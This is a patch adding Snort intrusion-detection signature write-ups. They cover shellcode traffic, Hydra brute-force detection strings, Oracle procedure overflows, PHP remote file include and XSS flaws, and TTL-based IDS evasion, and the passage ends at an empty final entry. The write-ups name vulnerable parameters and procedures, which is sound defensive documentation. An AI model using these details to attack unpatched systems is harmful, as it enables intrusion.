+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000167.txt
+++ snort-2.8.5.2/doc/signatures/100000167.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000167
+
+-- 
+Summary: 
+The password-cracking tool Hydra has been detected in SMTP traffic.
+
+--
+Impact:
+An attacker may be attempting to break into one or more mail servers monitored 
+by Snort via a brute-force password attack. If successful, the attacker may 
+gain unauthorized access to internal networks.
+
+--
+Detailed Information:
+Hydra is a password-cracking tool released by a group of security experts 
+called THC, "The Hacker's Choice." When connecting to a mail server, it will 
+begin communications by sending either "HELO hydra" or "EHLO hydra", depending 
+upon the commands accepted by the remote server. Since a valid HELO or EHLO 
+command will contain the domain name of the system mail is being sent from, the 
+presence of either of these strings indicates that the Hydra tool is likely 
+being used.
+
+--
+Affected Systems:
+Any system running a mail server.
+
+--
+Attack Scenarios:
+Attackers will use the Hydra password-cracking tool.
+
+--
+Ease of Attack:
+Simple, as the program is publicly available and is well-documented.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check system logs and Snort alert logs for suspicious activity, particularly 
+unusual logons. Ensure that secure passwords are being used throughout your 
+network.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1705.txt
+++ snort-2.8.5.2/doc/signatures/1705.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1705
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2803.txt
+++ snort-2.8.5.2/doc/signatures/2803.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2803
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_instantiation
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2354.txt
+++ snort-2.8.5.2/doc/signatures/2354.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2354
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application IdeaBox.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+IdeaBox contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable gorumDir when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file notification.php.
+
+--
+Affected Systems:
+	PHPOutsourcing IdeaBox 1.0
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the gorumDir variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2013.txt
+++ snort-2.8.5.2/doc/signatures/2013.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2013
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to view a 
+module the user does not have access to. Should this attempt be 
+succesful the entire CVS repository may be compromised.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+indicate determined activity by an attacker to gain unauthorized access 
+to the CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could choose to insert malicious code of his own 
+making.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to view a
+module the user may not have access to.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that an authorized user may mis-type the module name.
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server where appropriate.
+
+Maintain checks on the password database and the CVS repository.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2580.txt
+++ snort-2.8.5.2/doc/signatures/2580.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2580
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a heap overflow
+associated with Apache 1.3 proxy and cache module.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution of
+arbitrary code.
+
+--
+Detailed Information:
+When Apache 1.3 is used and the host is configured to be a web proxy,
+reverse proxy and/or cache server, a vulnerability exists that may
+allow a heap overflow and the subsequent execution of arbitrary code
+on the vulnerable server.  This may occur when the server receives
+a malformed response from a malicious web server that includes a
+negative content length value.  This can cause invalid memory access
+and a denial of service or heap overflow.
+
+--
+Affected Systems:
+Apache 1.3.x
+
+--
+Attack Scenarios:
+An attacker can entice a user to visit a malicious web server.  If
+a vulnerable server proxies the request and receives a malformed
+response, a heap overflow may occur.
+
+--
+Ease of Attack:
+Simple. Exploit code is publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0492
+
+Other:
+http://www.guninski.com/modproxy1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2195.txt
+++ snort-2.8.5.2/doc/signatures/2195.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2195
+
+--
+Summary:
+This event is generated when an attempt is made to access alert.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Sun Microsystems' Cobalt RaQ server appliance.
+
+--
+Impact:
+System integrity, possible denial of service.
+
+--
+Detailed Information:
+The alert.cgi file on Sun Microsystems' Cobalt RaQ web server appliance does not properly parse HTML tags submitted in URLs. This can allow a malicious user to use a specially crafted URL to execute JavaScript to place scripts or content on the web server. In addition, an overly long URL could be used to crash the server.
+
+--
+Affected Systems:
+Any Cobalt RaQ 2.0, 3.0, or 4.0 server appliance.
+
+--
+Attack Scenarios:
+An attacker crafts a URL with JavaScript and passes the content to alert.cgi on a vulnerable RaQ server. The server then executes the JavaScript included in the URL, placing malicious content on the web server. An attacker could also send an overly long URL to alert.cgi, which will crash the server.
+
+--
+Ease of Attack:
+Simple. Proof of concepts exist.
+
+--
+False Positives:
+If a legitimate remote user accesses alert.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Workarounds have been provided on the BugTraq mailing list. See http://marc.theaimsgroup.com/?l=bugtraq&m=101500887122597&w=2 for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4211
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1030.txt
+++ snort-2.8.5.2/doc/signatures/1030.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1030
+
+--
+Summary:
+This event is generated when an attempt is made to access the search97.vts file.
+
+--
+Impact:
+Intelligence gathering, remote execution of files, denial of service.  This attack can permit the viewing and execution of files on the vulnerable server.  Additionally, a denial of service attack exists, allowing a remote user to shut down the Verity software. 
+
+--
+Detailed Information:
+The Verity/Search'97 software provides a search engine.  A vulnerability exists with a CGI script associated with Verity software because of improper input checking.  This may permit an attacker to access and execute files as well as shut down the Verity software.
+
+--
+Affected Systems:
+Verity Search97 2.1
+
+--
+Attack Scenarios:
+An attacker can craft a URL to access the vulnerable search97.vts file to remotely read or execute files, or cause a denial of service.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/162
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2707.txt
+++ snort-2.8.5.2/doc/signatures/2707.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+2707
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft GDI using a malformed JPEG image.
+
+-- 
+
+Impact: 
+Serious. Execution of arbitrary code is possible. Denial of Service
+(DoS),
+
+--
+Detailed Information:
+The Microsoft Graphics Device Interface contains a programming error
+in the handling of Joint Photographics Experts Group (JPEG) files. This
+error may allow an attacker to execute code of their choosing on a
+vulnerable system.
+
+Due to the popularity of jpeg files, and in order to provide accurate
+detection for the GDI JPEG vulnerability, sid 2705 may generate false
+positive events in certain situations. Since this rule may generate
+a number of false positives it is disabled by default.
+
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Affected Systems:
+	All Microsoft systems including multiple Microsoft products
+
+--
+Attack Scenarios: 
+An attacker would need to supply a malformed jpeg image to a victim and
+have the use attempt to view the file.
+
+-- 
+Ease of Attack: 
+Medium.
+
+-- 
+
+False Positives:
+False positive events are known to occur with this rule, the incidence
+is low but may be an inconvenience in some installations.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2458.txt
+++ snort-2.8.5.2/doc/signatures/2458.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2458
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running has joined a chat room or is examining chat rooms to join.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+Yahoo IM provides a means of allowing users who share similar interests to join a chat room and exchange messages.  While there are no known exploits associated with exchanging messages, this type of activity may not be appropriate in certain network environments.  
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attacks.
+
+--
+Ease of Attack:
+No known attacks.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2369.txt
+++ snort-2.8.5.2/doc/signatures/2369.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2369
+
+--
+Summary:
+This event is generated when an attempt is made to access ISAPISkeleton.dll on a
+web server. This may indicate an attempt to exploit a cross-site 
+scripting vulnerability in BRS WebWeaver.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a 
+cross-site scripting vulnerability in BRS WebWeaver .
+An attacker can pass an argument to ISAPISkeleton.dll that may contain
+malicious code that could be executed on the victims machine. 
+
+--
+Affected Systems:
+	BRS WebWeaver 
+
+--
+Attack Scenarios:
+An attacker can pass a specific argument to ISAPISkeleton.dll that may
+contain malicious code.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/888.txt
+++ snort-2.8.5.2/doc/signatures/888.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+888
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2634.txt
+++ snort-2.8.5.2/doc/signatures/2634.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2634
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "rectifier_diff.differences" and "rectifier_diff.rectify"
+procedures are used to find and resolve inconsistencies between
+two replicated sites. These procedures contain a programming error
+that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "sname1" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1187.txt
+++ snort-2.8.5.2/doc/signatures/1187.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1187
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/329.txt
+++ snort-2.8.5.2/doc/signatures/329.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 329
+
+-- 
+Summary: 
+This is an intelligence gathering activity. This event is indicative of a connection laundering attack against the finger daemon
+
+-- 
+Impact: 
+The attacker may obtain information about a third party host without making a direct connection to that host.
+
+--
+Detailed Information:
+The event is generated when an attempt to use a machine to run
+finger queries against a third party UNIX system is attempted by the
+Cybercop vulnerability scanner. 
+
+The attack utilizes "finger forwarding" functionality, normally used to forward queries to a third party machine. The information is obtained without a direct connection to the said third party, since the target system performs a connection to the third party host for the attacker. 
+
+The Finger daemon is used to provide information about users on a UNIX system. It used to be installed and enabled by default on most UNIX/Linux systems. The attack if successful, will confirm that the target host will try to forward queries.
+
+--
+
+Attack Scenarios: 
+An attacker uses the Cybercop vulnerability scanner to test for this weakness.
+
+-- 
+
+Ease of Attack: 
+Simple, performed by a scanner
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or upgrade to a daemon without finger forwarding functionality
+
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0105
+
+Arachnids:
+http://www.whitehats.com/info/IDS11
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000572.txt
+++ snort-2.8.5.2/doc/signatures/100000572.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000572
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "app_page_caching.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"app_page_caching.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000121.txt
+++ snort-2.8.5.2/doc/signatures/100000121.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000121
+
+-- 
+Summary: 
+This event is generated when a script named "test" is accessed from a location 
+outside of EXTERNAL_NET.
+
+-- 
+
+Impact: 
+Varies depending upon the script.
+
+--
+Detailed Information:
+Generally speaking, scripts named "test" should not be accessed by anyone 
+outside of the developer's internal network. These scripts rarely lack proper 
+input sanitization, often allow unfettered access to sensitive resources, and 
+can suffer from a host of vulnerabilities due to the fact that developers 
+generally do not have security in mind when testing a script. 
+
+--
+Affected Systems:
+Any system with an improperly secured developer test script.
+
+--
+
+Attack Scenarios: 
+Attacks vary depending upon the nature of the script.
+
+-- 
+
+Ease of Attack: 
+The ease of attacks vary depending upon the nature of the script.
+
+-- 
+
+False Positives:
+Some scripts may legitimately be named "test", or developers may access these 
+scripts from outside of their internal development environment. Users who are 
+receiving an inordinate amount of false positives may wish to disable this rule.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Test scripts should be properly hardened if they are made publicly available, 
+or access to them should be restricted to authorized personnel.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2744.txt
+++ snort-2.8.5.2/doc/signatures/2744.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2744
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2919.txt
+++ snort-2.8.5.2/doc/signatures/2919.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2919
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_untrusted.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-15.txt
+++ snort-2.8.5.2/doc/signatures/111-15.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+111-15
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. Possible attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated whent the pre-processor stream4 detects abnormal
+Time To Live (TTL) values in a datastream. This may indicate an attempt
+to evade an IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can set the TTL values of all packets to a value so small
+that only the IDS will see the packet and it will not get to the target
+system.
+
+-- 
+Ease of Attack: 
+Simple. Tools such as fragroute enable an attacker to do this.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Insertion, Evasion, and Denial of Service: Eluding Network Intrusion
+Detection:
+http://www.insecure.org/stf/secnet_ids/secnet_ids.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2684.txt
+++ snort-2.8.5.2/doc/signatures/2684.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2684
+
+-- 
+Summary: 
